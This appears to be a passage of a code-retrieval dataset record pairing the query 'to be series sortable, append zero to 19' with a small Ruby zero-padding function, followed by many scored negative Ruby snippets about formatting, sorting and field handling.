"0.57033086",
"0.56935805",
"0.56858647",
"0.56724644",
"0.56689173",
"0.5656547",
"0.5654542",
"0.5654542",
"0.5635142",
"0.5616042",
"0.5603186",
"0.5582682",
"0.5577555",
"0.55766815",
"0.55635977",
"0.5544227",
"0.5517372",
"0.55109614",
"0.5501311",
"0.550113",
"0.54914665",
"0.5486692",
"0.5482817",
"0.546932",
"0.54667395",
"0.5461769",
"0.5453431",
"0.5450459",
"0.54467976",
"0.54380274",
"0.54334277",
"0.5420436",
"0.5418584",
"0.54156685",
"0.5413028",
"0.5408491",
"0.5400797",
"0.53984994",
"0.5396238",
"0.5380431",
"0.5378353"
] |
0.59165794
|
40
|
to be series sortable, append zero to 19
|
def add_zero_to_1_to_9(str)
str.sub(/(?<=\D)\d\D?$/, '0\0' )
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def append_non_zero_number\n append table.pick_non_zero\n end",
"def numtostring arr\n arr.each_with_index{|val, idx| arr[idx] = 'dojo' if val < 0}\n p arr\nend",
"def sort_display_data\n if @total_data.has_key?(\"\") or @total_data.has_key?(nil) and @total_data.length > 1\n @total_data = @total_data.sort do|a,b|\n a[0].to_s <=> b[0].to_s\n end\n deleted = @total_data.delete_at(0)\n @total_data.push(deleted)\n else\n @total_data = @total_data.sort\n end\n @total_data\n end",
"def price_movement_chart\n [\n ['Dividend', 'Share Price Change'],\n ['0', '1 ←'],\n ['> 0', 'none'],\n ['≥ stock value', '1 →'],\n ['≥ 2× stock value', '2 →'],\n ['≥ 3× stock value', '3 →'],\n ]\n end",
"def sort_order\n 0\n end",
"def seriesAdded\n tag_range(\"800\", \"83X\")\n end",
"def series_sortable(solr_doc)\n title_for_heading(solr_doc[Solrizer.solr_name(\"parent_unittitles\", :displayable)]) unless solr_doc[Solrizer.solr_name(\"parent_unittitles\", :displayable)].nil?\n end",
"def extend_x_axis_output(index, domain)\n value = \"#{domain.get_coordinate_to_index(index).round(3)}\"\n (10 - value.length).times { print \" \" }\n print \"%#{value.length}s\" % \"#{value}\"\n end",
"def chs\n self.first.value = -self.first.value\n end",
"def re_init(y)\n\t\t@@v_row.clear\n\t\t18.times { @@v_row << [] } \n\t\t@@v_row.each do\n\t\t|x| 80.times { x << \"#{y}\" } \n\t\tend\n\tend",
"def adjust_number(initial_array)\n initial_array.each do |array|\n if array.include? \"-\"\n insert_at = array.rindex(\"-\")\n size.times { array.insert insert_at, \"-\" } #add - to rows\n next\n elsif array.include? \"|\"\n size.times { array.insert 1, \" \" } # insert number of blanks after the pipe\n # add copies of the array to grow number vertically\n #size.times do\n # array_copy = Array.new(array)\n #end\n elsif array.all? { |x| x == \" \" }\n insert_at = array.first\n size.times { array.insert insert_at, \" \" } # add additional space to blank lines\n next\n end\n end\n end",
"def reverse_for_highcharts(series)\n return if series.blank?\n series.reverse\n end",
"def add_at_head(val)\n \n end",
"def sort_key\n # Make sure sequence is at least 12 long to maintain numeric sorting\n @code&.rjust(12, '0')\n end",
"def add_z(bookings)\n data3 = '0256'\n data3 += 'Z'\n sum = 0\n bookings.each do |b|\n sum += b.value.divmod(100)[0]\n end\n data3 += '%015i' % sum\n data3 += '%015i' % bookings.count\n data3 += '%0221s' % ''\n raise \"DTAUS: Längenfehler Z (#{data3.size} <> 256)\\n\" if data3.size != 256\n dta_string << data3\n end",
"def header(my_array, index, cut_off, dis_chart)\n ( my_array.count {|my_array|\n my_array >= index &&\n my_array <= cut_off}).to_s.rjust((dis_chart)\n )\nend",
"def show\n \n @end_at = Date.today\n @start_at = @end_at - 6\n @categories = @start_at.upto(@end_at).to_a\n\n \t#Sales Historyグラフ\n @sales_data = [500, 600, 300, 100, 200, 400, 700,500, 600, 300, 100, 200, 400, 700,100, 200, 400, 700,500, 600, 600, 300, 100, 200,]\n @sales_history = LazyHighCharts::HighChart.new(\"graph\") do |f|\n f.title(:text => \"Sales History\", :align =>\"left\")\n f.chart(:type => \"column\")\n f.xAxis(:categories => @categories)\n f.series(:name => \"Sales\", :data => @sales_data)\n\t end\n\n#Order Historyのグラフ\n @order_data = [80, 60, 30, 10, 40, 50, 90,60, 30, 10, 40, 50, 90,50, 90,60, 30, 10, 40, 50,]\n @order_history = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(text: 'Order History',:align =>\"left\")\n f.xAxis(:categories => @categories)\n f.series(name: 'Order', :data => @order_data)\n end\n\n#Price Historyのグラフ\n @price_data = [80, 60, 30, 10, 40, 50, 90,60, 30, 10, 40, 50, 90,50, 90,60, 30, 10, 40, 50,]\n @price_history = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(text: 'Order History',:align =>\"left\")\n f.xAxis(:categories => @categories)\n f.series(name: 'Order', :data => @price_data)\n end\n \n \n end",
"def zdv(i)\n # Set the value of the current cell to 0\n %{ zdv\n}\n end",
"def write_list(list, array)\n\tstart = 1\n\tstart = list[array[-1] - 1] if list[array[-1] - 1] != 0\n\tarray.length.times do |i| \n\t\tif array[i] <1E6 && list[array[i] - 1] == 0\n\t\t\tlist[array[i] - 1] = array.length - i - 1 + start\n\t\tend\n\tend\nend",
"def to_s\n label = draft ? '[draft]' : number? ? number: \"(#{series.next_number})\"\n \"#{series.value}#{label}\"\n end",
"def initialize_axis_numbers\n axis = \"\"\n (entry_size + 1).times { axis.concat(\" \")}\n axis.concat(\"0\")\n end",
"def rearrange cages, index\r\n\tcages[index..-1] + cages[0...index]\r\nend",
"def up\n self.x = ((x-1)+10)%10\n end",
"def dump\r\n super + \"##{@first_index};\\t// #{to_s}\"\r\n end",
"def add_series\n @bib.series.each do |s|\n case s.type\n when \"journal\"\n @item.journal = s.title.title\n @item.number = s.number if s.number\n when nil then @item.series = s.title.title\n end\n end\n end",
"def before(val) insertion(val, 0) end",
"def insert_ascending(value)\r\n raise NotImplementedError\r\n end",
"def fix_index_plus(index, _max_index)\n delta = index - @index.to_i\n if delta == 2 # DOWN\n return 0 if @index == 0 || @index == 2\n return 1\n end\n return 0\n end",
"def sort_edition\n \"-#{barcode.edition}\"\n end",
"def up()\n if @value < self.max\n @value = [@value + self.step, self.max].min\n end\n #@cLabelNumber.text = sprintf(@pattern, @value.to_s)\n end",
"def series_up(num)\n seq = 0\n list = []\n # list[(num * (num + 1) / 2) - 1] = num wasn't doing anything for me\n num.times do |pat| # I swtiched to num.times because I couldn't do list.each because list is blank\n t = 0\n num.times do |numb|\n list[t + seq] = t + 1 # How it knows where to put what number\n t += 1\n end\n seq += pat + 1 # grows exponentially to make it add a new space every time\n end\n return list\nend",
"def initialize\n @wanted_data = [-1, 1, 100, 0]\n super\n @max_index = 4\n end",
"def to_s\n variable = 0\n @values.each do |k, v|\n if variable % 9 == 0\n puts \"|\"\n\n puts \".\" * 37\n\n end\n print \"| #{v} \"\n variable += 1\n end\n \"|\"\n end",
"def series\n \"#{major}.x.x\"\n end",
"def data=(series)\n @data = []\n series.each do |d|\n @data << [[0,d]]\n end\n end",
"def sortable(pos)\n @sortable[pos]\n end",
"def move_zeros(array)\n count = 0\n index = 0\n array.each do |el|\n if el == 0\n count += 1\n else\n array[index] = el\n index += 1\n end\n end\n (index...array.length).each do |i|\n array[i] = 0\n end\n\n array\nend",
"def init_ary(ary)\n (1..100).each do |num|\n ary.push( { decimal: num, binary: num.to_s(2).rjust(7,\"0\")} )\n end\n ary\nend",
"def sort_by_default\n 1\n end",
"def unpad_1_9()\n new_arr = []\n @value.each do |string|\n string = string.dup # to avoid changing the original\n while (string.getbyte(-1) == 0) \n string.chop!\n end\n new_arr.push string\n end\n new_arr\n end",
"def move_zeroes(nums)\n count = nums.select { |i| i.zero? }.count\n\n new = []\n nums.each do |value|\n if value != 0\n new.push(value)\n end\n end\n\n count.times { new.push(0) }\n\n nums.each_with_index do |value, index|\n nums[index] = new[index]\n end\n\n nums\nend",
"def column_index(slot)\n slot % 9\n end",
"def sort_prefix\n if self.original_or_new == ORIGINAL then '0' else '1' end\n end",
"def update_sorting_amount\n amount = Currency.simplify(\n self.total_integer,\n self.total_fraction\n ).to_f\n\n self.total_for_sorting = amount\n end",
"def format_range(bott, rank, empty = false)\n return '' if empty\n if bott == rank - 1\n header = \"#{bott.ordinalize}\"\n elsif bott == 0\n header = format_rank(rank)\n elsif rank == 20\n header = format_bottom_rank(bott)\n else\n header = \"#{bott.ordinalize}-#{(rank - 1).ordinalize}\"\n end\nend",
"def pn\n \"#{CHART_PN % (index+1)}\"\n end",
"def calculate_sort_value\n return nil unless day\n dummy_time = dummy_time_for_day DAYS.index(day) + 1\n self.sort_value = (dummy_time.to_f * 100).to_i\n end",
"def calculate_sort_value\n return nil unless day\n dummy_time = dummy_time_for_day DAYS.index(day) + 1\n self.sort_value = (dummy_time.to_f * 100).to_i\n end",
"def add_sort_field(*) super end",
"def prefix_encode(column)\n result = []\n encoded_val = false\n oc_count = 0\n column[\"av\"].each_with_index do |v, i|\n if i == 0\n result.push(v)\n oc_count = oc_count + 1\n elsif v == 0\n oc_count = oc_count + 1\n else\n result.push(v)\n end\n end\n column[\"av\"] = result\n column[\"oc_count\"] = oc_count\nend",
"def add_leading_range\n @allocated_ranges.prepend((0..0))\n try_to_join_leading_ranges\n 0\n end",
"def zero_weight_update_values\n weight_update_values = []\n 26.times do weight_update_values << 0.0 end\n\n weight_update_values\n end",
"def concateList(a)\n as = ''\n while true do\n as.concat(a.value.to_s.rjust(4, '0'))\n break if a.next.nil?\n a = a.next\n end\n\n as\nend",
"def push_new_numbers(new_numbers, numbers, index, counter)\n new_numbers << counter.to_s\n new_numbers << numbers[index]\nend",
"def append_number\n append table.pick\n end",
"def set_zeros\n return if competition.nil?\n\n self.thousands = 0 unless competition.data_entry_format.thousands? || competition.data_entry_format.hundreds?\n end",
"def to_index\n yday + (year-2000) * 1000\n end",
"def something\n max = self.max_size\n arrays = self.lifts_array\n arrays.each do |array|\n if array.size < max \n difference1 = max - array.size\n difference = difference1 / 2\n difference.times do \n array << 0\n array << \"0\"\n end\n else\n end\n end\n arrays\n end",
"def series_up(num)\n size = num*(num+1)/2\n list = [1, 1, 2, 1, 2, 3, 1, 2, 3, 4]\n string = list[0..size-1]\n print string\nend",
"def grow_inventory(tail_index)\n @inventory << @input.to_s[tail_index]\n @inventory = @inventory.sort.reverse\n @analyze_index = @input.to_s.length - @inventory.length\nend",
"def ordered_values; end",
"def insert range_first, value\n @values[range_first] = value\n lowers = @values.keys.sort\n uppers = @values.keys.sort\n lowers.pop\n uppers.shift\n @ranges = []\n for i in 0...lowers.size do\n @ranges << (lowers[i]...uppers[i])\n end\n end",
"def add(val)\n @nums = SortHelper.insert(@nums, val)\n @nums[@nums.length - @k]\n end",
"def prepad_zeros(length)\n str = self\n str.insert(0, '0') while str.length < length\n str\n end",
"def skip_tracks_18(i)\r\n\t t = (s = @playlist.size) - (h = i % s)\r\n\t s = @playlist.size-1\r\n\t @playlist[0, t], @playlist[t..s] = @playlist[h..s], @playlist[0, h]\r\n\t \r\n puts \"New Playlist:\"\r\n\t @playlist.each {|a| puts a}\r\n\tend",
"def sort_index\n pos = nil\n pos ||= self.position if self.respond_to?(:position)\n [pos || 9999, self.id]\n end",
"def to_s\n \"#{symbol} #{local_range.begin}-#{local_range.end} #{timevec.length}\"\n end",
"def create_value(need_value, value_array)\n need_value.each do |index|\n if index == 0\n value_array.unshift(100)\n else\n value_array.insert(index, value_array[index -1])\n end\n end\n return value_array\n end",
"def series_volume\n end",
"def chart_title(chart_type, ind)\n \"#{ind + 1} - #{chart_type}\"\nend",
"def horizontal_bewegen(anzahl)\n bewegen_um_punkt(Punkt.new(anzahl,0)) \n end",
"def lower_position!(amount = 2)\n if position > 0\n update!(position: position - amount)\n end\n dashboard.reposition_cells\n position\n end",
"def sortByCountDecreasing\r\n @counts.sort_by { |k,v| v }.reverse\r\n end",
"def o_gen_rating(numbers, idx)\n return numbers.first if numbers.size == 1\n\n zeroes = []\n ones = []\n numbers.each { |num| num[idx] == \"0\" ? zeroes.push(num) : ones.push(num) }\n next_nums = zeroes.size <= ones.size ? numbers - zeroes : numbers - ones\n o_gen_rating(next_nums, idx + 1)\nend",
"def sort_order\n 10 - object.id\n end",
"def rightascensionascendingnode\n (@line2[17...25]).to_f\n end",
"def keep_leading_zeros(val = true)\n @leading_zeros = val\n end",
"def calculate_sort_value options\n dummy_time = dummy_time_for_day opening_hash(options['contract.default'])\n options['model'].sort_value = (dummy_time.to_f * 100).to_i\n end",
"def header_init(width)\r\n display_arr = Array.new(width)\r\n count = width -1\r\n display_arr.each_with_index do\r\n |x, y|\r\n display_arr[y] = count\r\n count = count - 1\r\n end\r\n return display_arr\r\nend",
"def addends\n\t\tluhn_array = @digit_array.reverse.map.with_index(1) do |value, idx|\n\t\t\tif idx.even?\n\t\t\t\tvalue = (value * 2 > 10) ? (value * 2 - 9) : (value * 2)\n\t\t\telse\n\t\t\t\tvalue\n\t\t\tend\n\t\tend\n\t\tluhn_array.reverse\n\tend",
"def pontosSpare index\n\t\tif @rolls[index + 1]\n\t\t\t10 + @rolls[index + 1]\n\t\telse\n\t\t\t10\n\t\tend\n\tend",
"def space\n self.last.to_i - self.first.to_i + 1\n end",
"def move_measurement_up\n respond_to do |format|\n format.js { head :ok } ## only return 200 to client\n end\n measurements_array = @data_list.data_list_measurements.to_a.sort_by{ |m| m.list_order }\n old_index = measurements_array.index{ |m| m.measurement_id == params[:measurement_id].to_i }\n if old_index <= 0\n return\n end\n measurements_array.each_index do |i|\n if old_index - 1 == i\n measurements_array[i].update list_order: i + 1\n next\n end\n if old_index == i\n measurements_array[i].update list_order: i - 1\n next\n end\n measurements_array[i].update list_order: i\n end\n end",
"def number_and_secondary_value(value, previous_value)\n self.push(:item => [{:text => \"\", :value => value}, {:text => \"\", :value => previous_value}])\n end",
"def e5115_sublinear_sort(values)\n end",
"def is_sorted\r\n false\r\n end",
"def sort_entries; end",
"def listing_to_s\n case\n when listing < 10 then return \"00#{listing}\"\n when listing < 100 then return \"0#{listing}\"\n else return \"#{listing}\"\n end\n end",
"def listing_to_s\n case\n when listing < 10 then return \"00#{listing}\"\n when listing < 100 then return \"0#{listing}\"\n else return \"#{listing}\"\n end\n end",
"def snap_oui=(i); typecast i; end",
"def series_up(num)\n series = 0\n list = [] #starts as empty\n #puts \"running code\"\n num.times do |pattern|\n n = 0#original num\n num.times do |num|\n list[n + series] = n + 1\n n += 1\n end \n series += pattern + 1 \n #makes it grow exponentially\n end\n return list \nend",
"def pack_db value\r\n pack_data(\r\n if value > -10\r\n value * 10000\r\n else\r\n (-1 * Math.log10((value / 10).abs) * 200000) - 100000\r\n end\r\n )\r\nend",
"def neg_to_dojostring arr\n for idx in arr.each_index\n if arr[idx] < 0\n arr[idx] = 'Dojo'\n end\n end\nend",
"def add_s(array)\n array.select do |i|\n i < array[1] || i > array[1]\n end.each do |i|\n i << \"s\"\n end\n array\nend",
"def move_zeroes(nums)\n\n last_non_zero = -1\n\n # iterates through list once\n nums.length.times do |current|\n if nums[current] != 0\n last_non_zero += 1\n nums[current], nums[last_non_zero] = nums[last_non_zero], nums[current]\n end\n end\n\n nil\nend",
"def shiftValue\r\n arr = [1, 5, 10, -2]\r\n arr.shift\r\n arr.push(0)\r\n puts arr\r\nend",
"def update_sortable(pos, newVal)\n sort_function = @parent.sort_function(pos)\n if sort_function\n @sortable[pos] = sort_function.call(newVal)\n else\n @sortable[pos] = newVal\n end\n end",
"def print_x_axis\n print \"%#{@entry_size}s |\" % [\"portion in %\"]\n\n axis_numbers = initialize_axis_numbers\n counter = 0.1;\n 1.upto(@width) do |i|\n if ( i % (counter * @width).round == 0)\n print \"|\"\n axis_numbers = axis_numbers[0...-1].concat((counter * 100).round.to_s)\n counter += 0.1\n else\n print \"-\"\n axis_numbers.concat(\" \")\n end\n end\n\n puts \"\\n#{axis_numbers}\"\n end",
"def sort_index\n self.index || 0\n end",
"def normalize_range(range)\n ar = range.to_a\n if ar.min > 2 # normalizacja zadanego zakresu aby zawsze zakres zaczynał się od 2\n ar += (2..ar.min-1).to_a\n ar = ar.sort\n else\n ar.delete_if { |e| e < 2 }\n end\n ar\nend",
"def series\n tag_range(\"400\", \"499\")\n end"
] |
[
"0.5722433",
"0.5479659",
"0.54662114",
"0.5384579",
"0.53442067",
"0.5329219",
"0.53205633",
"0.5305466",
"0.52559304",
"0.5220807",
"0.51525974",
"0.51238096",
"0.5122514",
"0.50719166",
"0.5063247",
"0.4994637",
"0.4991463",
"0.4990687",
"0.4970495",
"0.49636683",
"0.4958136",
"0.4946709",
"0.49396715",
"0.49351183",
"0.4928554",
"0.49275717",
"0.49274585",
"0.4909922",
"0.48754057",
"0.48752615",
"0.48742846",
"0.48667327",
"0.4864461",
"0.48595148",
"0.4857454",
"0.4840941",
"0.48140973",
"0.48084617",
"0.4798159",
"0.47899297",
"0.4787845",
"0.47853547",
"0.47820863",
"0.4772704",
"0.47712985",
"0.4765904",
"0.47650436",
"0.47650436",
"0.4759551",
"0.47565445",
"0.47430888",
"0.47398904",
"0.47299156",
"0.4729877",
"0.47240877",
"0.4723785",
"0.47192848",
"0.47135907",
"0.47115687",
"0.46947807",
"0.46940362",
"0.46707615",
"0.46585104",
"0.4649116",
"0.46338108",
"0.46274534",
"0.46252283",
"0.46251735",
"0.46203715",
"0.4618657",
"0.4614217",
"0.46115574",
"0.4610642",
"0.46077302",
"0.4605426",
"0.46032855",
"0.46010038",
"0.45989716",
"0.4598361",
"0.45941305",
"0.45916843",
"0.4591212",
"0.45895746",
"0.45882624",
"0.45882198",
"0.45879135",
"0.45874375",
"0.45808604",
"0.45808604",
"0.4578392",
"0.4575779",
"0.45736995",
"0.4563165",
"0.45623922",
"0.4561803",
"0.45599064",
"0.45576662",
"0.45548868",
"0.45543367",
"0.45521915",
"0.455186"
] |
0.0
|
-1
|
Unify the fields into a string
|
def to_s
res = "\nname: " + name.to_s + "\nid: " + id.to_s + "\nservice: " + service.to_s + "\ntitle: " + title.to_s + "\nthumbnail: " + thumbnail.to_s + "\nhref: " + href.to_s
res
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_str\n fields.collect do |field, body|\n send(field) if body.type == Object\n end.compact.sort.join(' ')\n end",
"def format_fields(fields)\n if fields.instance_of?(Array)\n return fields.join(\",\")\n elsif fields.instance_of?(String)\n return fields\n end\n end",
"def from_fields(input)\n input.map { |key, val| \"#{key}=#{val.inspect}\" }.join(', ')\n end",
"def to_s\n klass.fields.map { |field_def|\n field_name = field_def.name.to_s\n v = @fields[ field_name.to_sym ].to_s\n\n field_def.pass_through_formatters(\n field_def.is_padding? ? \"\" : v\n )\n }.pack(klass.pack_format)\n end",
"def to_s\n af = \"allowed_fields=#{@allowed_fields.inspect}\"\n rf = \"required_fields=#{@required_fields.inspect}\"\n rm = \"read_mask=#{@read_mask.inspect}\"\n wm = \"write_mask=#{@write_mask.inspect}\"\n \"#{af},#{rf},#{rm},#{wm}\"\n end",
"def strip_string_fields\n all_fields = self.get_array_of_symbolic_keys\n # stripping\n all_fields.each do |field|\n unless self[field].nil?\n if self[field].class == String\n self[field] = self[field].strip\n end\n end\n end\n end",
"def encode_fields(*fields)\n fields.map do |type, value|\n case type\n when :raw\n value\n when :string\n encode_string(value)\n when :list\n encode_list(value)\n when :mpint\n encode_mpint(value)\n when :time\n encode_time(value)\n when :uint64\n encode_uint64(value)\n when :uint32\n encode_uint32(value)\n when :options\n encode_options(value)\n else\n raise DecodeError, \"bad type: #{type}\"\n end\n end.join\n end",
"def create_string_of_field_names_and_types(field_names_and_types)\n add_commas_to_types(field_names_and_types)\n add_primary_key_type_to_first_element(field_names_and_types)\n field_names_and_types.join(\" \")\n end",
"def string_field_names\n # database_field_names.join(', ')\n database_field_names.to_s[1...-1]\n end",
"def normalize_fields\n @fields = @fields.map do |field|\n case field\n when Symbol, String\n @properties[field]\n\n when Property, Operator\n field\n end\n end\n end",
"def string_order_fields(arrfields)\n\tstrres = \" \"\n\tl = 0\n\tarrfields.each do |af|\n\t l += 1\n\t if l > 1\n\t strres += \", \"\n\t end\n\t strres += af[1][\"ordfield\"]+\" \"+af[1][\"ascdesc\"]\n\tend\n\treturn strres\n end",
"def process_fields(fields)\n fields.map { |field| field.to_s.include?('.') ? field.to_s : \"#{self.table_name}.#{field}\" }\n end",
"def to_s\n @field.unpack('b*').first\n end",
"def render_fields(meth)\n parts = [ ]\n self.fields.each do |k,f|\n parts.push(f.send(meth, type))\n end\n return parts.join('')\n end",
"def clean_fields(fields)\n fields.map { |k, v| [k.to_s.downcase.gsub(/ |-/, '_'), v] }.to_h\n end",
"def normalizeField(string)\n string.gsub /_id|_/, \" \"\n end",
"def to_s; map { |name, val| \"#{val['name']}=#{val}\" }.join(','); end",
"def clean_data( field )\n\tfield.to_s.strip\nend",
"def to_s\n\t\trval = \"%s=%s\" % [ self.name, self.make_valuestring ]\n\n\t\trval << make_field( \"Version\", self.version ) if self.version.nonzero?\n\t\trval << make_field( \"Domain\", self.domain )\n\t\trval << make_field( \"Expires\", make_cookiedate(self.expires) ) if self.expires\n\t\trval << make_field( \"Max-Age\", self.max_age )\n\t\trval << make_field( \"Path\", self.path )\n\n\t\trval << '; ' << 'HttpOnly' if self.httponly?\n\t\trval << '; ' << 'Secure' if self.secure?\n\n\t\treturn rval\n\tend",
"def imprint_value(field)\n imprint_subfields = field.subfields.select { |sf| sf.value if sf.code =~ /[abcefg]/ }\n imprint_subfields.compact.map { |sf| sf.value.strip }.join(' ').strip\n end",
"def extract_code(fields)\n fields = fields.delete('Fn::Base64') || fields\n if fields.kind_of?(Hash)\n fields = fields.delete('Fn::Join') || fields\n end\n if fields.kind_of?(Array)\n sep = fields.shift\n fields = fields.join(sep)\n end\n fields\n end",
"def raw_getter field\n val = self.instance_variable_get(\"@#{field}\")\n return nil if val.nil? == true || val == false\n\n if BOOL_ATTRIBUTES.include? field\n return field.to_s.gsub '_', '-' \n end\n\n if STR_ATTRIBUTES.include? field \n return val \n end\n\n if ARR_STR_ATTRIBUTES.include? field && val.empty? == false \n return val.join ' '\n end\n\n if SUB_STR_ATTRIBUTES.include? field \n return SUB_STR_ATTRIBUTES[field].sub '%sub%', val \n end \n end",
"def escape_fields( payload )\n\n payload[:title] = escape_field( payload[:title] ) if field_supplied( payload[:title] )\n payload[:abstract] = escape_field( payload[:abstract] ) if field_supplied( payload[:abstract] )\n return payload\n\n end",
"def format_field key\n key.downcase.gsub(%r{[^A-Z0-9]+}xoi,' ').strip.gsub(' ','_')\n end",
"def pretty\n s = \"\"\n self.fields.each do |f|\n unless (f.name == \"payload\")\n s += \"#{f.name}=#{self.send(f.name)} \"\n end\n end\n s.gsub(/ $/, '')\n end",
"def to_s\n fields = []\n fields << name\n fields << \"\"\n fields << address.to_s\n fields << \"\"\n fields << \"Telefon: #{phonenumber}\"\n fields << \"E-Mail: #{email}\"\n fields << \"WWW: #{www}\"\n fields.join(\"\\n\")\n end",
"def get_string_field(field_name)\n\t\tend",
"def encode_salesforce_fields(fields)\n {}.tap do |encoded_fields|\n fields.each do |name, value|\n encoded_field = encode_salesforce_field(name, value)\n encoded_fields.merge! encoded_field if !encoded_field.nil?\n end\n end\n end",
"def multiple_fields_to_one multfields, prefix=false\n vals = []\n multfields.each do |field, anotherval|\n if anotherval and not anotherval.empty? \n anotherval = anotherval.strip\n anotherval = field + \": #{anotherval}\" if prefix\n vals << anotherval\n end \n end\n vals.delete_if {|x| x.empty?}\n return vals * \", \" unless vals.empty?\n return nil\n end",
"def to_s\n \t\tattributes.each_with_object(\"\") do |attribute, result|\n \t\tresult << \"#{attribute[1].to_s} \"\n \t\tend\n\tend",
"def build_form_string(fields)\n return nil if fields.nil?\n tmp = []\n fields.each{|k,v|\n tmp << \"#{k.to_s}=#{v.to_s}\"\n }\n tmp.join(\"&\")\n end",
"def blank_out_fields(record, fields)\n fields.to_a.each do |field|\n record[field.to_sym] = '' if record[field.to_sym].nil?\n end\n record\n end",
"def debug_string\n str = \"\"\n klass.fields.each do |f|\n if f.is_padding?\n str << \"#{f.name}: \\n\"\n else\n str << \"#{f.name}: #{send(f.name.to_sym)}\\n\"\n end\n end\n\n str\n end",
"def each_field(&blk)\n each do |k,v|\n str_v = if field_def(k).multivalued?\n v.join(', ')\n else\n v.to_s\n end\n\n yield k, str_v\n end\n end",
"def to_message\n @fields ||= {}\n arr = Array.new(self.class.default_fields)\n type_id + @fields.inject(arr) { |a,(k,v)| a[k-1] = v; a }.join(\"|\")\n end",
"def nullify_fields\n user_fields = %W(\n name\n email\n address\n )\n\n user_fields.each do |field|\n next if self[field].nil?\n self[field] = nil if self[field].empty?\n end\n end",
"def unsigned_field_names\n @unsigned_fields.join(',')\n end",
"def to_s\n \"#{@name}, \" \\\n \"#{model.upcase}: \" \\\n \"#{data.values.join(\"/\")}, \" \\\n \":#{@type}\"\n end",
"def trim_all_fields\n self.attributes.each{|a| a.strip! if a.class == 'String'}\n end",
"def format_field_names_as_string(array)\n array.map{ |k| \"'#{k}'\" }.join(',')\n end",
"def to_s\n meta.to_a.join(\" \")\n end",
"def to_s\n %w( name display_name uuid ).collect { |k| \"#{k}=#{ self.send(k) }\" }.join(' | ') + \" | types=#{ types.join(',') }\"\n end",
"def to_s\n %Q{#{street}\n#{postnr_city}\n#{country}\n}\n end",
"def to_s\n fields = []\n fields << \"#{firstname} #{lastname}\"\n fields << \"\"\n fields << address.to_s\n fields << \"\"\n fields << \"Telefon: #{phonenumber}\" if phonenumber\n fields << \"Mobil: #{@mobile}\" if mobile\n fields << \"E-Mail: #{email}\" if email\n if office_email or office_phonenumber\n fields << \"\\nGeschäftlich\"\n fields << \"Telefon: #{office_phonenumber}\" if office_phonenumber\n fields << \"E-Mail: #{office_email}\" if office_email\n end\n fields.join(\"\\n\")\n end",
"def get_string(field)\n field['stringValue']\n end",
"def get_string_value(field_name)\n\t\tend",
"def to_s\n bits=\"\"\n @fields.each {|f| \n if f.kind_of? Fields::Field\n bits << f.bitstring\n else\n bits << f.to_bitstring\n end\n }\n [bits].pack('B*')\n end",
"def values_to_s\n end",
"def to_s\n\t\tparts = [ self.oid ]\n\n\t\tparts << \"NAME %s\" % Treequel::Schema.qdescrs( self.names ) unless self.names.empty?\n\n\t\tparts << \"DESC '%s'\" % [ self.desc ] if self.desc\n\t\tparts << \"OBSOLETE\" if self.obsolete?\n\t\tparts << \"APPLIES %s\" % [ Treequel::Schema.oids(self.attr_oids) ]\n\t\tparts << self.extensions.strip unless self.extensions.empty?\n\n\t\treturn \"( %s )\" % [ parts.join(' ') ]\n\tend",
"def normalize_fields\n new_fields = CICPHash.new\n fields.each do |key, value|\n new_fields[key] = ApeItem.create(key, value).normalize_encodings\n end\n @fields = new_fields\n end",
"def to_ps\n ret = \"#{self.class.name}:\\n\"\n c = 0\n @fields.each_pair do |p|\n field = p[1]\n next if field.nil?\n if field.is_a?(NumField) || field.is_a?(ApduList)|| field.is_a?(VarNumField)\n if field.optfield.nil? || field.optfield.value == 1\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, field.hexstr)\n else\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, \"--\")\n end\n c = 0\n else #only for bitfield\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, \" \" * c + field.bitstr)\n c += field.length\n end\n end\n return ret\n end",
"def to_s\n each_with_object([]) do |(name, value), array|\n if value.is_a?(Component::Attr)\n # Flatten nested hashs and inject them unless empty\n value = value.to_s\n array << value unless value.empty?\n else\n name = [@prefix, name].compact.join(\"-\").gsub(/[\\W_]+/, \"-\")\n array << %(#{name}=\"#{value}\") unless value.nil?\n end\n end.sort.join(\" \")\n end",
"def humanize\n @fields.collect do |_, field|\n field.meaning\n end.join(\"; \").chomp(\"; \")\n end",
"def to_s\r\n clean!\r\n \r\n map do |name|\r\n name.include?(delimiter) ? \"\\\"#{name}\\\"\" : name\r\n end.join(delimiter.ends_with?(\" \") ? delimiter : \"#{delimiter} \")\r\n end",
"def helper_for_parsing_sprint_info obj, arr\n arr.map do |field_num|\n \"#{obj[0].split(',')[field_num].split(\"=\")[1]}\" if obj\n end\n end",
"def nullify_fields\n user_fields = %W(\n comment\n )\n user_fields.each do |field|\n next if self[field].nil?\n self[field] = nil if self[field].empty?\n end\n end",
"def to_s\r\n \"(#@name, #@age)\"\r\n end",
"def getfields(obj, delim)\n\t\tobj.to_s.strip.gsub(/[#{delim}]+$/, '').split(delim)\n\tend",
"def fields(str)\n str.split(/\\,|\\t/).each { |str| str.strip!}\nend",
"def to_s\n \t\t\t\"(Nombre:#{@nombre},Proteinas:#{@proteinas},Carbohidratos:#{@carbohidratos},Lipidos:#{@Lipidos},Gei:#{@gei},Terreno:#{@terreno})\"\n \t\t\n\t\tend",
"def to_s\n send( self.class.unique_string_field )\n end",
"def unconverted_fields?() @unconverted_fields end",
"def compact_string\n s = [ATTRIBUTES.sort.collect{|a| send(a)}].join(\"|\").downcase.gsub(/\\s/, '')\n end",
"def to_s\n # additional information from id field\n s = [self.system_id, self.birth_date, self.entry_date, self.exit_date, self.leave_days].join('_')\n # rest of string\n s << super.to_s\n s.gsub!(';','-')\n return s\n end",
"def to_responsys_field(s)\n if @@system_fields.include?(s)\n s.to_s.upcase + \"_\"\n else\n s.to_s.upcase\n end\n end",
"def fields(*args)\n return @fields if args.empty?\n @fields = args.flatten.compact.map{|i| i.to_sym}\n end",
"def to_s\n \"[name, symbolicName, realName]: #{@name}, #{@symbolicName}, #{@realName}\"\n end",
"def to_human\n fields.map { |m| '%02x' % self[m] }.join(':')\n end",
"def stringified_keys; end",
